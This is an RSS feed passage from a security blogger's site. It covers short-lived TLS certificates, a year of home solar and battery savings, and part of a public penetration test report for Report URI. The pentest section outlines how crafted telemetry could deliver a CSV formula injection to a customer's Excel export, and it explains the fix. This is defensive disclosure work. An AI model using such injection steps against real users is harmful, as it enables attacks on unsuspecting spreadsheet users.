    rCYNVSkFN4ZIONedfENemM5GgBqcqbpxMA==
    -----END CERTIFICATE-----</code></pre><p></p><h4 id="automation-is-king">Automation is King</h4><p>The great thing about this, and I&apos;ve been using these certs for weeks now, is that once you&apos;re using an ACME client, you&apos;re already automated, and once you&apos;re automated, the validity period really isn&apos;t relevant any more. I&apos;m currently sticking with the 6-day certs, and I will alternate between Let&apos;s Encrypt and Google Trust Services, but running these automations more frequently to go from 90 days down to 6 days really doesn&apos;t change anything at all, so give it a try!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[What a Year of Solar and Batteries Really Saved Us in 2025]]></title>
                <description><![CDATA[<p>Throughout 2025, I spoke a few times about our home energy solution, including our grid usage, our solar array and our Tesla Powerwall batteries. Now that I have a full year of data, I wanted to take a look at exactly how everything is working out, and, in alignment with</p>]]></description>
                <link>https://scotthelme.ghost.io/what-a-year-of-solar-and-batteries-really-saved-us-in-2025/</link>
                <guid isPermaLink="false">6962376aa2de7d0001fa2a36</guid>
                <category><![CDATA[Tesla Powerwall]]></category>
                <category><![CDATA[Solar Power]]></category>
                <category><![CDATA[Octopus Energy]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 13 Jan 2026 11:24:31 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/2025-energy.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/2025-energy.webp" alt="What a Year of Solar and Batteries Really Saved Us in 2025"><p>Throughout 2025, I spoke a few times about our home energy solution, including our grid usage, our solar array and our Tesla Powerwall batteries. Now that I have a full year of data, I wanted to take a look at exactly how everything is working out, and, in alignment with our objectives, how much money we&apos;ve saved!</p><p></p><h4 id="our-setup">Our setup</h4><p>Just to give a quick overview of what we&apos;re working with, here are the details on our solar, battery and tariff situation:</p><ul><li>&#x2600;&#xFE0F;Solar Panels: We have 14x Perlight solar panels managed by Enphase that make up the 4.2kWp array on our roof, and they produce energy when the sun shines, which isn&apos;t as often as I&apos;d like in the UK!</li><li>&#x1F50B;Tesla Powerwalls: We have 3x Tesla Powerwall 2 in our garage that were purchased to help us load-shift our energy usage. Electricity is very expensive in the UK and moving from peak usage which is 05:30 to 23:30 at ~&#xA3;0.28/kWh, to off-peak usage, which is 23:30 - 05:30 at ~&#xA3;0.07/kWh, is a significant cost saving.</li><li>&#x1F4A1;Smart Tariff: My wife and I both drive electric cars and our electricity provider, Octopus Energy, has a Smart Charging tariff. If we plug in one of our cars, and cheap electricity is available, they will activate the charger and allow us to use the off-peak rate, even at peak times.</li></ul><p></p><p>Now that we have some basic info, let&apos;s get into the details!</p><p></p><h4 id="grid-import">Grid Import</h4><p>I have 3 sources of data for our grid import, and all of them align pretty well in terms of their measurements. I have the amount our electricity supplier charged us for, I have my own CT Clamp going via a Shelly EM that feeds in to Home Assistant, and I have the Tesla Gateway which controls all grid import into our home.</p><p>Starting with my Home Assistant data, these are the relevant readings. </p><p>Jan 1st 2025 - 15,106.10 kWh<br>Dec 31st 2025 - 36,680.90 kWh<br>Total: 21,574.80 kWh<br><strong>Total Import: 21.6 MWh</strong></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-3.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1138" height="503" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-3.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-3.png 1138w" sizes="(min-width: 720px) 720px"></figure><p></p><p>As you can see in the graph, during the summer months we have slightly lower grid usage and the graph line climbs at a lower rate, but overall, we have pretty consistent usage. Looking at what our energy supplier charged, us for, that comes in slightly lower.</p><p><strong>Total Import: 20.1 MWh</strong></p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-8.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="997" height="577" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-8.png 997w" sizes="(min-width: 720px) 720px"></figure><p></p><p>I&apos;m going to use the figure provided by our energy supplier in my calculations because their equipment is likely more accurate than mine, and also, what they&apos;re charging me is the ultimate thing that matters. The final source is our Tesla Gateway, which shows us having imported 21.0 MWh.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-11.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1290" height="1568" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-11.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-11.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-11.png 1290w" sizes="(min-width: 720px) 720px"></figure><p></p><p>It&apos;s great to see how all of these sources of data align so poorly! &#x1F605;</p><h4 id="grid-export">Grid Export</h4><p>Looking at our export, the graph tells a slightly different story because, as you can see, we didn&apos;t really start exporting properly until June, when our export tariff was activated. Prior to June, it simply wasn&apos;t worth exporting as we were only getting &#xA3;0.04/kWh but at the end of May, our export tariff went live and we were then getting paid &#xA3;0.15/kWh for export. My <a href="https://scotthelme.co.uk/automation-improvements-after-a-tesla-powerwall-outage/?ref=scotthelme.ghost.io" rel="noreferrer">first</a> and <a href="https://scotthelme.co.uk/v2-hacking-my-tesla-powerwalls-to-be-the-ultimate-home-energy-solution/?ref=scotthelme.ghost.io" rel="noreferrer">second</a> blog posts cover the full details of this change when it happened if you&apos;d like to read them but for now, just note that it will change the calculations a little later as we only had export for 60% of the year.</p><p><strong>Total Export: 6.0 MWh</strong></p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-9.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="989" height="582" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-9.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-9.png 989w" sizes="(min-width: 720px) 720px"></figure><p></p><p>With our grid export covered the final piece of the puzzle is to look at our solar.</p><p></p><h4 id="solar-production">Solar Production</h4><p>We&apos;re really not in the best part of the world for generating solar power, but we&apos;ve still managed to produce quite a bit of power. Even in the most ideal, perfect scenario, our solar array can only generate 4.2kW of power, and we&apos;re definitely never getting near that. Our peak production was 2.841kW on 8th July at 13:00, and you can see our full annual production graph here. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-12.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1582" height="513" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-12.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-12.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-12.png 1582w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Looking at the total energy production for the entire array, you can see it pick up through the sunnier months but remain quite flat during the darker days of the year.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-2.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1132" height="504" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-2.png 1132w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Jan 1st 2025 - 2.709 MWh<br>Dec 31st 2025 - 5.874 MWh<br><strong>Solar Production: 3.2 MWh</strong></p><p></p><p>Just to confirm, I also took a look at the Enphase app, which is drawing it&apos;s data from the same source to be fair, and it agrees with the 3.2 MWh of generation.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-4.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1157" height="560" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-4.png 1157w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="calculating-the-savings">Calculating the savings</h4><p>This isn&apos;t exactly straightforward because of the combination of our solar array and excess import/export due to the batteries, but here are the numbers I&apos;m currently working on.</p><p><strong>Total Import: 20.1 MWh<br>Total Export: 6.0 MWh<br>Solar Production: 3.2 MWh</strong></p><p></p><p>That gives us a total household usage of 17.3 MWh.</p><p>(20.1 MWh import + 3.2 MWh solar) &#x2212; 6.0 MWh export = 17.3 MWh usage</p><p>If we didn&apos;t have the solar array providing power, the full 17.3 MWh of consumption would have been chargeable from our provider. If we had only the solar and no battery, assuming a perfect ability to utilise our solar generation, only 14.1 MWh of our usage would need to be imported. The cost of those units of solar generation can be viewed at the peak and off-peak rates as follows.</p><p>Peak rate: 3,200 kWh x &#xA3;0.28/kWh = &#xA3;896<br>Off-peak rate: 3,200 kWh x &#xA3;0.07/kWh = &#xA3;224</p><p>Given that solar panels only produce during peak electricity rates, it would be reasonable to use the higher price here. A consideration for us though is that we do have batteries, and we&apos;re able to load-shift all of our usage into the off-peak rate, so arguably the solar panels only made &#xA3;224 of electricity. </p><p>The bigger savings come when we start to look at the cost of the grid import. Assuming we had no solar panels, we&apos;d have imported 17.3 MWh of electricity, and with the solar panels and perfect utilisation, we&apos;d have imported 14.1 MWh of electricity. That&apos;s quite a lot of electricity and calculating the different costs of peak vs. off-peak by using batteries to load shift our usage gives some quite impressive results.</p><p>Peak rate: 17,300 kWh x &#xA3;0.28/kWh = &#xA3;4,844<br>Peak rate with solar: 14,100 kWh x &#xA3;0.28 = &#xA3;3,948</p><p>Off-peak rate: 17,300 kWh x &#xA3;0.07/kWh = &#xA3;1,211<br>Off-peak rate with solar: 14,100 kWh x &#xA3;0.07/kWh = &#xA3;987</p><p>This means there&apos;s a potential swing from &#xA3;4,844 down to &#xA3;987 with solar and battery, a total potential saving of &#xA3;3,857!</p><p>This also tracks if we look at our monthly spend on electricity which went from &#xA3;350-&#xA3;400 per month down to &#xA3;50-&#xA3;100 per month depending on the time of year. But it gets better.</p><p></p><h4 id="exporting-excess-energy">Exporting excess energy</h4><p>Our solar array generates almost nothing in the winter months so our batteries are sized to allow for a full day of usage with basically no solar support. We can go from the start of the peak rate at 05:30 all the way to the off-peak rate at 23:30 without using any grid power. When it comes to the summer months, though, our solar array is producing a lot of power and we clearly have a capability to export a lot more. The batteries can fill up on the off-peak rate overnight at &#xA3;0.07/kWh, and then export it during the peak rate for &#xA3;0.15/kWh, meaning any excess solar production or battery capacity can be exported for a reasonable amount.</p><p>If we take a look at the billing information from our energy supplier, we can see that during July, our best month for solar production, we exported a lot of energy. We exported so much energy that it actually fully offset our electricity costs and allowed us to go negative, meaning we were earning money back.</p><p>Here is our electricity import data:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-7.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="988" height="623" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-7.png 988w" sizes="(min-width: 720px) 720px"></figure><p></p><p>And here is our electricity export data:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-6.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="983" height="706" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-6.png 983w" sizes="(min-width: 720px) 720px"></figure><p></p><p>That&apos;s a pretty epic scenario, despite us being such high energy consumers, to still have the ability to fully cover our costs and even earn something back! For clarity, we will still have the standing charge component of our bill, which is &#xA3;0.45/day so about &#xA3;13.50 per month to go on any given month, but looking at the raw energy costs, it&apos;s impressive.</p><p></p><h4 id="the-final-calculation">The final calculation</h4><p>I pulled all of our charges for electricity in 2025 to see just how close my calculations were and to double check everything I was thinking. Earlier, I gave these figures:</p><p>Off-peak rate: 17,300 kWh x &#xA3;0.07/kWh = &#xA3;1,211</p><p>If 100% of our electricity usage was at the off-peak rate, we should have paid &#xA3;1,211 for the year. Adding up all of our monthly charges, our total for the year was &#xA3;1,608.11 all in, but we need to subtract our standing charge from that.</p><p>Total cost = &#xA3;1,608.11 - (365 * &#xA3;0.45)<br><strong>Total import = &#xA3;1,443.86</strong></p><p></p><p>This means that we got almost all of our usage at the off-peak rate which is an awesome achievement! After the charges for electricity, I then tallied up all of our payments for export.</p><p><strong>Total export = &#xA3;886.49</strong></p><p></p><p>Another pretty impressive achievement, earning so much in export, which also helps to bring our net electricity cost in 2025 to <strong>&#xA3;557.37</strong>! To put this another way, the effective rate of our electricity is now just &#xA3;0.03/kWh.</p><p>&#xA3;557.37 / 17,300kWh = <strong>&#xA3;0.03/kWh</strong></p><p></p><h4 id="but-was-it-all-worth-it">But was it all worth it?</h4><p>That&apos;s a tricky question to answer, and everyone will have different objectives and desired outcomes, but ours was pretty clear. Running two Electric Vehicles, having two adults working from home full time, me having servers and equipment at home, along with a power hungry hot tub, we were spending too much per month in electricity alone, and our goal was to reduce that.</p><p>Of course, it only makes sense to spend money reducing our costs if we reduce them enough to pay back the investment in the long term, and things are looking good so far. Here are the costs for our installations:</p><p></p><p>&#xA3;17,580 - Powerwalls #1 and #2 installed.<br>&#xA3;13,940 - Solar array installed.<br>&#xA3;7,840  - Powerwall #3 installed.<br>Total cost = &#xA3;39,360</p><p></p><p>If we assume even a generous 2/3 - 1/3 split between peak and off-peak usage, with no Powerwalls or solar array, our electricity costs for 2025 would have been &#xA3;3,632.86:</p><p>11,533 kWh x &#xA3;0.28/kWh = &#xA3;3,229.24<br>5,766 kWh x &#xA3;0.07/kWh = &#xA3;403.62<br>Total = &#xA3;3,632.86</p><p></p><p>Instead, our costs were only &#xA3;557.37, meaning we saved &#xA3;3,078.49 this year. We also only had export capabilities for 7 months of 2025, so in 2026 when we will have 12 months of export capabilities, we should further reduce our costs. I anticipate that in 2026 our electricity costs for the year will be ~&#xA3;0, and that&apos;s our goal.</p><p>Having our full costs returned in ~11 years is definitely something we&apos;re happy with, and we&apos;ve also had protection against several power outages in our area along the way, which is a very nice bonus. Another way to look at this is that the investment is returning ~9%/year.</p><p></p><table>
    <thead>
    <tr>
    <th style="text-align:right">Year</th>
    <th style="text-align:right">Cumulative savings (&#xA3;)</th>
    <th style="text-align:right">ROI (%)</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td style="text-align:right">1</td>
    <td style="text-align:right">3,632.86</td>
    <td style="text-align:right">9.23%</td>
    </tr>
    <tr>
    <td style="text-align:right">2</td>
    <td style="text-align:right">7,265.72</td>
    <td style="text-align:right">18.46%</td>
    </tr>
    <tr>
    <td style="text-align:right">3</td>
    <td style="text-align:right">10,898.58</td>
    <td style="text-align:right">27.69%</td>
    </tr>
    <tr>
    <td style="text-align:right">4</td>
    <td style="text-align:right">14,531.44</td>
    <td style="text-align:right">36.92%</td>
    </tr>
    <tr>
    <td style="text-align:right">5</td>
    <td style="text-align:right">18,164.30</td>
    <td style="text-align:right">46.15%</td>
    </tr>
    <tr>
    <td style="text-align:right">6</td>
    <td style="text-align:right">21,797.16</td>
    <td style="text-align:right">55.38%</td>
    </tr>
    <tr>
    <td style="text-align:right">7</td>
    <td style="text-align:right">25,430.02</td>
    <td style="text-align:right">64.61%</td>
    </tr>
    <tr>
    <td style="text-align:right">8</td>
    <td style="text-align:right">29,062.88</td>
    <td style="text-align:right">73.84%</td>
    </tr>
    <tr>
    <td style="text-align:right">9</td>
    <td style="text-align:right">32,695.74</td>
    <td style="text-align:right">83.07%</td>
    </tr>
    <tr>
    <td style="text-align:right">10</td>
    <td style="text-align:right">36,328.60</td>
    <td style="text-align:right">92.30%</td>
    </tr>
    <tr>
    <td style="text-align:right">15</td>
    <td style="text-align:right">54,492.90</td>
    <td style="text-align:right">138.43%</td>
    </tr>
    <tr>
    <td style="text-align:right">20</td>
    <td style="text-align:right">72,657.20</td>
    <td style="text-align:right">184.61%</td>
    </tr>
    <tr>
    <td style="text-align:right">25</td>
    <td style="text-align:right">90,821.50</td>
    <td style="text-align:right">230.76%</td>
    </tr>
    </tbody>
    </table>
    <p> </p><p>Of course, at some point during that period, the effective value of the installation will reduce to almost &#xA3;0, and we have to consider that, but it&apos;s doing pretty darn good. If we hadn&apos;t needed to add that third Powerwall, this would have been so much better too. We&apos;ll see what the future holds, but with the inevitable and continued rise of energy costs, and talk of moving the standing charge on to our unit rate, things might look even better in the future.</p><p></p><h4 id="onwards-to-2026">Onwards to 2026!</h4><p>Now that we have everything properly set up, and I&apos;m happy with all of our Home Assistant automations, we&apos;re going to see how 2026 goes. I will definitely circle back in a year from now and see how the numbers played out, and until then, I hope the information here has been useful or interesting &#x1F44D;</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Report URI Penetration Test 2025]]></title>
                <description><![CDATA[<p>Every year, just as we start to put up the Christmas Tree, we have another tradition at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> which is to conduct our annual penetration test! </p><p>&#x1F385;&#x1F384;&#x1F381; --&gt; &#x1FA7B;&#x1F510;&#x1F977;</p><p>This will be our 6th annual penetration test that we&apos;ve posted completely publicly,</p>]]></description>
                <link>https://scotthelme.ghost.io/report-uri-penetration-test-2025/</link>
                <guid isPermaLink="false">693822108d605500017a6622</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Penetration Test]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 15 Dec 2025 15:36:37 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/report-uri-penetration-test.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/report-uri-penetration-test.webp" alt="Report URI Penetration Test 2025"><p>Every year, just as we start to put up the Christmas Tree, we have another tradition at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> which is to conduct our annual penetration test! </p><p>&#x1F385;&#x1F384;&#x1F381; --&gt; &#x1FA7B;&#x1F510;&#x1F977;</p><p>This will be our 6th annual penetration test that we&apos;ve posted completely publicly, just as before, and we&apos;ll be covering a full run down of what was found and what we&apos;ve done about it. </p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1915" height="356" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2025/12/image.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image.png 1915w" sizes="(min-width: 720px) 720px"></a></figure><h4 id="penetration-tests">Penetration Tests</h4><p>If you find this post interesting or would like to see our previous reports, then here are the links to each and every one of those!</p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2020/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2020</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2021/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2021</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2022/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2022</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2023/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2023</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2024/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI Penetration Test 2024</a></p><p></p><h4 id="the-results">The Results</h4><p>2025 has been another good year for us as we&apos;ve continued to focus on the security of our product, and the results of the test show that. Not only have we added a bunch of new features, we&apos;ve also made some significant changes to our infrastructure and made countless changes and improvements to existing functionality too. The tester had what was effectively an unlimited scope to target the application, a full &apos;guidebook&apos; on how to get up and running with our product and a demo call to ensure all required knowledge was handed over before the test. We wanted them to hit the ground running and waste no time getting stuck in.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-1.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="724" height="409" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-1.png 724w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Finding an Info rated issue, three Low rated and a Medium severity issue definitely gives us something to talk about, so let&apos;s look at that Medium severity first. </p><p></p><h4 id="csv-formula-injection">CSV Formula Injection</h4><p>The entire purpose of our service is to ingest user-generated data and then display that in some way. Every single telemetry report we process comes from either a browser or a mail server, and the entire content, whilst conforming to a certain schema, is essentially free in terms of the values of fields. We have historically focused on, and thus far prevented, XSS from creeping it&apos;s way in, but this bug takes a slightly different form. </p><p>Earlier this year, June 11th to be exact, we released a new feature that allowed for a raw export of telemetry data. This was a commonly requested feature from our customers and we provided two export formats for the data, the native JSON that telemetry is ingested in, or a CSV variant too. You can see the export feature being used here on CSP Reports.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-2.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1553" height="543" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-2.png 1553w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Because the data export is a raw export, we are providing the telemetry payloads that we received from the browser or email server, just as you would have received them if you collected them yourself. It turns out that as these fields obviously contain user generated data, and you can do some trickery!</p><p>The specific example given by the tester uses a NEL report, but it&apos;s not a problem specific to NEL reports, it&apos;s possible across all of our telemetry. Looking at the example in the report, you can see how the tester crafted a specific payload:</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-3.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1005" height="671" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image-3.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-3.png 1005w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This <code>type</code> value contains an Excel command that will make it through to the CSV export as it represents the raw value sent by the client. The steps to leverage this are pretty convoluted, but I will quickly summarise them here by using an example if you want to target my good friend <a href="https://troyhunt.com/?ref=scotthelme.ghost.io" rel="noreferrer">Troy Hunt</a>, who runs <a href="https://haveibeenpwned.com/?ref=scotthelme.ghost.io" rel="noreferrer">Have I Been Pwned</a> which indeed uses Report URI.</p><ol><li>Identify the subdomain that Troy uses on our service, which is public information. </li><li>Send telemetry events to that endpoint with specifically crafted payloads which will be processed in to Troy&apos;s account.</li><li>Troy would then need to view that data in our UI, and for any reason wish to export that data as a CSV file. </li><li>Then, Troy would have to open that CSV file specifically in Excel, and bypass the two security warnings presented when opening the file. </li></ol><p></p><p>There are a couple of points in there that require some very specific actions from Troy, and the chances of all of those things happening are a little far-fetched, but still, we gave it a lot of consideration. The problem I had is that the export is raw, it&apos;s meant to be an export of what the browser or email server provided to us so you have a verbatim copy of the raw data. Sanitising that data is also tricky as there isn&apos;t a universal way to sanitise CSV because it depends on what application you&apos;re going to open it with, something I discovered when testing out our fix!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-4.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1140" height="582" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-4.png 1140w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Our current approach is to add a single quote to the start of the value if we detect that the first non-whitespace character is a potentially dangerous character, and that seems to have reliably solved the issue. I&apos;m happy to hear feedback on this approach, or alternative suggestions, so drop by the comments below if you can contribute!</p><p></p><h4 id="vulnerabilities-in-outdated-dependencies">Vulnerabilities in Outdated Dependencies </h4><p>Not again! Actually, I&apos;m pretty happy with the finding here, but I will explain both of the issues raised and what we did and didn&apos;t do about them. </p><h6 id="bootstrap-v3x">Bootstrap v3.x</h6><p>The last version of Bootstrap 3 was v3.4.1 which did have an XSS vulnerability present (<a href="https://security.snyk.io/package/npm/bootstrap/3.4.1?ref=scotthelme.ghost.io" rel="noreferrer">source</a>). We have since cloned v3.4.1 and patched it up to v3.4.4 ourselves to fix various issues that have been found, including the XSS issue raised here. The issue is still flagged in v3.x though, which is why it was flagged in our custom patched version, so in reality, there is no problem here and we&apos;re happy to keep using our own version. </p><h6 id="jquery-cookie-v141">jQuery Cookie v1.4.1</h6><p>Another tricky one because the Snyk data that we refer to lists no vulnerability in this library (<a href="https://security.snyk.io/package/npm/jquery.cookie/1.4.1?ref=scotthelme.ghost.io" rel="noreferrer">source</a>) which is why our own tooling hasn&apos;t flagged this to us. That said, the NVD does list a CVE for this version of the jQuery Cookie plugin (<a href="https://nvd.nist.gov/vuln/detail/cve-2022-23395?ref=scotthelme.ghost.io" rel="noreferrer">source</a>) but I can&apos;t find other data to back that up, including their own link to Snyk which doesn&apos;t list a vulnerability. Rather than spend too much time on this for what is a relatively simple plugin, we decided to remove it and implement the functionality that we need ourselves, solving the problem.</p><p></p><p>With both of those issues addressed, I&apos;m happy to say that we can consider this as resolved too.</p><p></p><h4 id="insufficient-session-expiration">Insufficient Session Expiration</h4><p>This issue has been raised previously in our <a href="https://scotthelme.co.uk/report-uri-penetration-test-2021/?ref=scotthelme.co.uk" rel="noreferrer">2021 penetration test</a>, and our position remains similar to what it was back then. Whilst I&apos;m leaning towards 24 hours being on the top end, and we will probably bring this down shortly, I also feel 